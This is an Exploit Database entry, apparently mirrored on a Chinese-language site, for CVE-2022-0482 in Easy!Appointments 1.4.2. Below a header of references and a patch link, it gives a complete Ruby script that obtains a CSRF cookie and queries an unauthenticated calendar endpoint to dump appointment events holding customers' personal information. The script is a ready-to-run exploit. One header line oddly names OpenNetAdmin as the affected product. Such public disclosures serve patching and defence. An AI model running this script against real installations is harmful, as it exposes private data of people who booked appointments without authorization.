Easy Appointments 1.4.2 – Information Disclosure

• Exploit Database
• 12 阅读

• 作者： Alexandre ZANNI
  日期： 2022-04-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50871/

• # Exploit Title: Easy Appointments 1.4.2 - Information Disclosure
  # Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr)
  # Author website: https://pwn.by/noraj/
  # Exploit source: https://github.com/Acceis/exploit-CVE-2022-0482
  # Date: 2022-04-11
  # Vendor Homepage: https://easyappointments.org/
  # Software Link: https://github.com/alextselegidis/easyappointments/archive/refs/tags/1.4.2.tar.gz
  # Version: < 1.4.3 (it means up to 1.4.2)
  # Tested on: Easy!Appointments Version 1.3.2
  
  # Vulnerability
  ## Discoverer: Francesco CARLUCCI
  ## Date: 2022-01-30
  ## Discoverer website: https://carluc.ci/
  ## Discovered on OpenNetAdmin 1.4.2
  ## Title: Exposure of Private Personal Information to an Unauthorized Actor in alextselegidis/easyappointments
  ## CVE: CVE-2022-0482
  ## CWE: CWE-863
  ## Patch: https://github.com/alextselegidis/easyappointments/commit/bb71c9773627dace180d862f2e258a20df84f887#diff-4c48e5652fb13f13d2a50b6fb5d7027321913c4f8775bb6d1e8f79492bdd796c
  ## References:
  ## - https://huntr.dev/bounties/2fe771ef-b615-45ef-9b4d-625978042e26/
  ## - https://github.com/alextselegidis/easyappointments/tree/1.4.2
  ## - https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2022/CVE-2022-0482.yaml
  ## - https://opencirt.com/hacking/securing-easy-appointments-cve-2022-0482/
  ## - https://nvd.nist.gov/vuln/detail/CVE-2022-0482
  
  #!/usr/bin/env ruby
  
  require 'date'
  require 'httpx'
  require 'docopt'
  
  doc = <<~DOCOPT
  Easy!Appointments < 1.4.3 - Unauthenticated PII (events) disclosure
  
  Source: https://github.com/Acceis/exploit-CVE-2022-0482
  
  Usage:
  #{__FILE__} <url> [<startDate> <endDate>] [--debug]
  #{__FILE__} -h | --help
  
  Options:
  <url> Root URL (base path) including HTTP scheme, port and root folder
  <startDate> All events since (default: 2015-01-11)
  <endDate> All events until (default: today)
  --debug Display arguments
  -h, --helpShow this screen
  
  Examples:
  #{__FILE__} http://10.0.0.1
  #{__FILE__} https://10.0.0.1:4567/subdir 2022-04-01 2022-04-30
  DOCOPT
  
  def fetch_csrf(root_url, http)
  vuln_url = "#{root_url}/index.php"
  
  http.get(vuln_url)
  end
  
  def exploit(root_url, startDate, endDate, http)
  vuln_url = "#{root_url}/index.php/backend_api/ajax_get_calendar_events"
  
  params = {
  'csrfToken' => http.cookies.first.value, # csrfCookie
  'startDate' => startDate.nil? ? '2015-01-11' : startDate,
  'endDate' => endDate.nil? ? Date.today.to_s : endDate
  }
  
  http.post(vuln_url, form: params)
  end
  
  begin
  args = Docopt.docopt(doc)
  pp args if args['--debug']
  
  http = HTTPX.plugin(:cookies)
  fetch_csrf(args['<url>'], http)
  puts exploit(args['<url>'], args['<startDate>'], args['<endDate>'], http).body
  rescue Docopt::Exit => e
  puts e.message
  end